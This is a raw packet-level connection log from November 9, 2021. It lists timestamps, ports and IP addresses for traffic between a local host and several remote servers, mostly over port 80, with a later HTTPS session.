Nov 9, 2021 22:21:51.636676073 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636693001 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636713028 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.636717081 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636730909 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636744022 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.636749983 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636773109 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.636774063 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636795044 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636811018 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.636818886 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636842012 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636847019 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.636888027 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636910915 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636924028 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.636933088 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636955023 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636976957 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.636986971 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.636993885 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637017012 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.637017012 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637041092 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637056112 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.637063026 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637085915 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637099981 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.637109041 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637130976 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637151957 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637152910 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.637175083 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637192011 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.637197971 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637221098 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637247086 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.637257099 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637279987 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.637283087 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637296915 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637319088 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637341022 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637362003 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637362003 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.637382984 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637403965 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637413025 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.637423992 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.637425900 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637448072 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.637456894 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.637504101 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941055059 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941082954 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941099882 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941117048 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941133976 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941150904 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941163063 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941167116 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941185951 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941190004 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941205025 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941222906 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941239119 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941255093 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941258907 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941265106 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941296101 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941309929 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941327095 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941334963 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941344976 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941368103 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941376925 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941385984 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941395998 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941406965 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941423893 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941431999 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941443920 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941462040 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941471100 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941478968 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941497087 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941509962 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941514015 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941533089 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941540956 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941550970 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941570997 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941576004 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941589117 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941606045 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941622019 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941627026 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941637993 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941654921 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941663027 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941672087 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941684008 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941689968 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941705942 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941720963 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941723108 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941736937 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941750050 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941761971 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941775084 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941787004 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941803932 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941804886 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941821098 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941838026 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941854000 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941869974 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941884995 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:51.941893101 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941921949 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:51.941943884 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.245759964 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.245795965 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.245819092 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.245857000 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.245876074 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.245894909 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.245913982 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.245933056 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.245951891 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.245959997 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.245970964 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.245991945 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246005058 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246017933 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246025085 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246030092 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246041059 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246057987 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246078014 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246085882 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246097088 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246115923 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246134043 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246153116 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246154070 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246170044 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246182919 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246189117 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246207952 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246226072 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246234894 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246242046 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246267080 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246275902 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246287107 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246304035 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246315002 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246325016 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246339083 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246344090 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246366024 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246383905 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246393919 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246402025 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246421099 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246438026 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246445894 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246452093 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246458054 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246476889 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246494055 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246501923 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246511936 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246531010 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246539116 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246548891 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246560097 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246572018 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246588945 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246591091 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246607065 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246625900 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246643066 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246650934 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246660948 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246680021 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246687889 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246699095 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.246715069 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.246745110 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.341353893 CET	49864	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:21:52.550398111 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550440073 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550461054 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550478935 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550499916 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550520897 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550539970 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550559998 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.550563097 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550586939 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550611019 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550625086 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.550635099 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550657034 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:52.550662041 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.550717115 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:52.798099995 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:53.102159023 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:56.028021097 CET	49873	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:56.331727982 CET	80	49873	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:56.331820011 CET	49873	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:56.331912041 CET	49873	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:56.334650993 CET	49873	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:56.635535002 CET	80	49873	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:56.638257980 CET	80	49873	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:57.324249029 CET	80	49873	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:57.326344013 CET	49873	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:57.326514959 CET	49873	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:57.354499102 CET	49876	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:57.630134106 CET	80	49873	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:57.647437096 CET	80	49876	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:57.647537947 CET	49876	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:57.647646904 CET	49876	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:57.647680998 CET	49876	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:57.940579891 CET	80	49876	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:57.940603971 CET	80	49876	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:58.624716043 CET	80	49876	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:58.624887943 CET	49876	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:58.625078917 CET	49876	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:58.656011105 CET	49877	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:58.917965889 CET	80	49876	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:58.952991962 CET	80	49877	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:58.953155041 CET	49877	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:58.953413010 CET	49877	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:58.953448057 CET	49877	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:59.250282049 CET	80	49877	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:59.479147911 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:21:59.503513098 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:21:59.503832102 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:21:59.950552940 CET	80	49877	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:59.950670958 CET	49877	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:59.950906992 CET	49877	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:59.980530024 CET	49879	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:00.247692108 CET	80	49877	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:00.281018972 CET	80	49879	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:00.281148911 CET	49879	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:00.281280994 CET	49879	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:00.281299114 CET	49879	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:00.296432972 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:00.321779013 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:00.373330116 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:00.581681013 CET	80	49879	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:00.581712008 CET	80	49879	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:01.260890961 CET	80	49879	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:01.261090994 CET	49879	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:01.261471033 CET	49879	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:01.298913002 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.298949957 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.299057007 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.300278902 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.300292015 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.341670990 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.341871023 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.346739054 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.346757889 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.347234011 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.372256994 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.411266088 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.411437035 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.411529064 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.411547899 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.411581993 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.411655903 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.411675930 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.411763906 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.411839008 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.411849022 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.411880016 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.411957026 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.411978006 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412053108 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412127972 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.412147999 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412239075 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412313938 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.412322044 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412353039 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412419081 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.412439108 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412564993 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412636995 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.412647009 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412664890 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412734032 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.412759066 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412911892 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.412978888 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413001060 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.413023949 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413094997 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.413096905 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413130999 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413196087 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.413216114 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413291931 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413366079 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.413372993 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413400888 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413467884 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.413486958 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413558006 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413630962 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.413633108 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413650036 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413727045 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.413747072 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413824081 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413887978 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.413897038 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.413916111 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.414005995 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.414025068 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.414100885 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.414175034 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.414176941 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.414205074 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.414263010 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.414280891 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.414396048 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.414474964 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.414494038 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.430402040 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.430527925 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.430632114 CET	49880	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:22:01.430635929 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.430674076 CET	443	49880	162.159.134.233	192.168.2.4
Nov 9, 2021 22:22:01.430711031 CET	49880	443	192.168.2.4	162.159.134.233
